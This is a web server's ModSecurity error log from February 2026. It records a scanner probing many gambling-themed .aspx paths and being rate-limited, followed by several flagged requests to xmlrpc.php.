[Thu Feb 12 10:09:16.345802 2026] [:error] [pid 50167:tid 50176] [client 149.224.239.115:61520] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aY02TDOWAjqME-_ayFOY-AAAAMU"]
[Thu Feb 12 10:09:18.440375 2026] [:error] [pid 3136:tid 3145] [client 149.224.239.115:61657] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aY02ThiPjM-TIZEnQeE4iwAAAEc"]
[Thu Feb 12 10:09:20.430211 2026] [:error] [pid 50168:tid 50223] [client 149.224.239.115:62193] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aY02UAih-d2Mb0suxEflmwAAAZg"]
[Thu Feb 12 10:09:22.564902 2026] [:error] [pid 3188:tid 3190] [client 149.224.239.115:62783] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aY02UsYMNJKHx_XKcXzS3gAAAIA"]
[Thu Feb 12 10:09:24.801919 2026] [:error] [pid 50168:tid 50220] [client 149.224.239.115:65086] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aY02VAih-d2Mb0suxEfloQAAAZU"]
[Thu Feb 12 10:09:26.979998 2026] [:error] [pid 60619:tid 60623] [client 149.224.239.115:65124] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aY02VkWmS0KSFtjY-wYt-wAAAAI"]
[Thu Feb 12 10:09:29.034439 2026] [:error] [pid 60619:tid 60645] [client 149.224.239.115:61043] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aY02WUWmS0KSFtjY-wYt_wAAABg"]
[Thu Feb 12 10:09:31.146547 2026] [:error] [pid 50254:tid 50273] [client 149.224.239.115:62148] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aY02W1XkZ-o2G0C1rDGPfAAAAg4"]
[Thu Feb 12 10:09:33.110641 2026] [:error] [pid 3188:tid 3191] [client 149.224.239.115:64403] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aY02XcYMNJKHx_XKcXzS6AAAAIE"]
[Thu Feb 12 10:09:35.047155 2026] [:error] [pid 50168:tid 50217] [client 149.224.239.115:63609] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aY02Xwih-d2Mb0suxEflqQAAAZI"]
[Thu Feb 12 10:09:37.456267 2026] [:error] [pid 3188:tid 3207] [client 149.224.239.115:59389] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aY02YcYMNJKHx_XKcXzS7wAAAJE"]
[Thu Feb 12 10:09:39.412107 2026] [:error] [pid 50169:tid 50234] [client 149.224.239.115:60407] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aY02Y7QmA2Sph23KFXBMBAAAAcg"]
[Thu Feb 12 10:09:41.561563 2026] [:error] [pid 50167:tid 50187] [client 149.224.239.115:59604] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aY02ZTOWAjqME-_ayFOZBwAAANA"]
[Thu Feb 12 10:09:43.692918 2026] [:error] [pid 3188:tid 3205] [client 149.224.239.115:61361] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aY02Z8YMNJKHx_XKcXzTAwAAAI8"]
[Thu Feb 12 10:09:45.964239 2026] [:error] [pid 3188:tid 3206] [client 149.224.239.115:64387] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aY02acYMNJKHx_XKcXzTDgAAAJA"]
[Thu Feb 12 10:09:47.984708 2026] [:error] [pid 60619:tid 60630] [client 149.224.239.115:59753] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aY02a0WmS0KSFtjY-wYuEQAAAAk"]
[Thu Feb 12 10:09:49.972644 2026] [:error] [pid 3136:tid 3140] [client 149.224.239.115:59935] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aY02bRiPjM-TIZEnQeE4vQAAAEI"]
[Thu Feb 12 10:09:52.213450 2026] [:error] [pid 50168:tid 50223] [client 149.224.239.115:61712] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aY02cAih-d2Mb0suxEflyAAAAZg"]
[Thu Feb 12 10:09:54.284940 2026] [:error] [pid 50167:tid 50188] [client 149.224.239.115:62433] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aY02cjOWAjqME-_ayFOZGQAAANE"]
[Thu Feb 12 10:09:56.203137 2026] [:error] [pid 50254:tid 50262] [client 149.224.239.115:62017] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aY02dFXkZ-o2G0C1rDGPoQAAAgM"]
[Thu Feb 12 10:09:58.226202 2026] [:error] [pid 50169:tid 50229] [client 149.224.239.115:63400] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aY02drQmA2Sph23KFXBMIQAAAcM"]
[Thu Feb 12 10:10:36.873916 2026] [:error] [pid 50167:tid 50172] [client 149.224.239.115:60835] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aY02nDOWAjqME-_ayFOZZQAAAME"]
[Thu Feb 12 10:10:38.721808 2026] [:error] [pid 3136:tid 3150] [client 149.224.239.115:63965] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aY02nhiPjM-TIZEnQeE5EQAAAEw"]
[Thu Feb 12 10:10:40.797612 2026] [:error] [pid 50167:tid 50179] [client 149.224.239.115:61934] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aY02oDOWAjqME-_ayFOZagAAAMg"]
[Thu Feb 12 10:10:42.751998 2026] [:error] [pid 50167:tid 50180] [client 149.224.239.115:62678] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aY02ojOWAjqME-_ayFOZbQAAAMk"]
[Thu Feb 12 10:10:44.813904 2026] [:error] [pid 50254:tid 50282] [client 149.224.239.115:62247] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aY02pFXkZ-o2G0C1rDGP7wAAAhc"]
[Thu Feb 12 10:10:46.773287 2026] [:error] [pid 50168:tid 50210] [client 149.224.239.115:62585] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aY02pgih-d2Mb0suxEfmHAAAAYs"]
[Thu Feb 12 10:10:48.854296 2026] [:error] [pid 3188:tid 3203] [client 149.224.239.115:60746] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aY02qMYMNJKHx_XKcXzTaQAAAI0"]
[Thu Feb 12 10:10:51.062738 2026] [:error] [pid 50167:tid 50177] [client 149.224.239.115:60475] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aY02qzOWAjqME-_ayFOZdgAAAMY"]
[Thu Feb 12 10:10:53.389257 2026] [:error] [pid 3188:tid 3212] [client 149.224.239.115:61028] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aY02rcYMNJKHx_XKcXzTbwAAAJY"]
[Thu Feb 12 10:10:55.480103 2026] [:error] [pid 60619:tid 60644] [client 149.224.239.115:62282] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aY02r0WmS0KSFtjY-wYudgAAABc"]
[Thu Feb 12 10:10:57.433512 2026] [:error] [pid 3136:tid 3147] [client 149.224.239.115:64484] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aY02sRiPjM-TIZEnQeE5IwAAAEk"]
[Thu Feb 12 10:10:59.359786 2026] [:error] [pid 50168:tid 50216] [client 149.224.239.115:59417] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aY02swih-d2Mb0suxEfmJwAAAZE"]
[Thu Feb 12 10:11:01.318202 2026] [:error] [pid 3136:tid 3146] [client 149.224.239.115:64245] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aY02tRiPjM-TIZEnQeE5LQAAAEg"]
[Thu Feb 12 10:11:03.545918 2026] [:error] [pid 50254:tid 50269] [client 149.224.239.115:64315] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aY02t1XkZ-o2G0C1rDGQBgAAAgo"]
[Thu Feb 12 10:11:05.607802 2026] [:error] [pid 50168:tid 50208] [client 149.224.239.115:61110] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aY02uQih-d2Mb0suxEfmNgAAAYk"]
[Thu Feb 12 10:11:07.613155 2026] [:error] [pid 50254:tid 50260] [client 149.224.239.115:63746] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aY02u1XkZ-o2G0C1rDGQEQAAAgE"]
[Thu Feb 12 10:11:09.706106 2026] [:error] [pid 50169:tid 50249] [client 149.224.239.115:59787] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aY02vbQmA2Sph23KFXBMlwAAAdc"]
[Thu Feb 12 10:11:11.827756 2026] [:error] [pid 60619:tid 60626] [client 149.224.239.115:64141] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aY02v0WmS0KSFtjY-wYujQAAAAU"]
[Thu Feb 12 10:11:14.033941 2026] [:error] [pid 3136:tid 3146] [client 149.224.239.115:62710] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aY02whiPjM-TIZEnQeE5UQAAAEg"]
[Thu Feb 12 10:11:16.139523 2026] [:error] [pid 60619:tid 60641] [client 149.224.239.115:60587] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aY02xEWmS0KSFtjY-wYumAAAABQ"]
[Thu Feb 12 10:11:18.293313 2026] [:error] [pid 50167:tid 50184] [client 149.224.239.115:64626] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aY02xjOWAjqME-_ayFOZmQAAAM0"]
[Thu Feb 12 10:11:20.348879 2026] [:error] [pid 60619:tid 60626] [client 149.224.239.115:64070] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aY02yEWmS0KSFtjY-wYuoQAAAAU"]
[Thu Feb 12 10:11:22.438950 2026] [:error] [pid 60619:tid 60625] [client 149.224.239.115:59489] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aY02ykWmS0KSFtjY-wYuowAAAAQ"]
[Thu Feb 12 10:11:24.358034 2026] [:error] [pid 3136:tid 3155] [client 149.224.239.115:61888] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aY02zBiPjM-TIZEnQeE5cAAAAFE"]
[Thu Feb 12 10:11:26.294912 2026] [:error] [pid 3188:tid 3200] [client 149.224.239.115:60519] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aY02zsYMNJKHx_XKcXzTsQAAAIo"]
[Thu Feb 12 10:11:28.451671 2026] [:error] [pid 50169:tid 50246] [client 149.224.239.115:59699] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aY020LQmA2Sph23KFXBMpwAAAdQ"]
[Thu Feb 12 10:11:30.388169 2026] [:error] [pid 3136:tid 3147] [client 149.224.239.115:62197] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aY020hiPjM-TIZEnQeE5ewAAAEk"]
[Thu Feb 12 10:11:32.406980 2026] [:error] [pid 3188:tid 3211] [client 149.224.239.115:62599] [client 149.224.239.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aY021MYMNJKHx_XKcXzTwwAAAJU"]
[Thu Feb 12 10:37:33.838011 2026] [:error] [pid 50167:tid 50178] [client 139.162.43.144:48104] [client 139.162.43.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.162.43.144, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY087TOWAjqME-_ayFOfugAAAMc"]
[Thu Feb 12 11:26:56.427977 2026] [:error] [pid 50167:tid 50194] [client 217.154.5.38:44532] [client 217.154.5.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.5.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY1IgDOWAjqME-_ayFOsCAAAANc"]
[Thu Feb 12 12:10:35.414997 2026] [:error] [pid 50168:tid 50201] [client 23.105.193.86:48894] [client 23.105.193.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.105.193.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY1Suwih-d2Mb0suxEcDAQAAAYI"]
[Thu Feb 12 12:46:35.780619 2026] [:error] [pid 50169:tid 50242] [client 161.132.49.90:57220] [client 161.132.49.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.132.49.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY1bK7QmA2Sph23KFXB_LwAAAdA"]
[Thu Feb 12 12:47:35.197772 2026] [:error] [pid 8824:tid 8826] [client 34.63.234.26:36892] [client 34.63.234.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.63.234.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY1bZ_GtP-XDMTktFc0z5wAAAQA"]
[Thu Feb 12 12:47:38.982119 2026] [:error] [pid 8824:tid 8845] [client 20.246.140.155:14019] [client 20.246.140.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.246.140.155, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY1bavGtP-XDMTktFc0z7gAAAQk"]
[Thu Feb 12 12:47:47.490931 2026] [:error] [pid 8824:tid 8827] [client 198.54.114.14:49158] [client 198.54.114.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.54.114.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY1bc_GtP-XDMTktFc00BAAAAQE"]
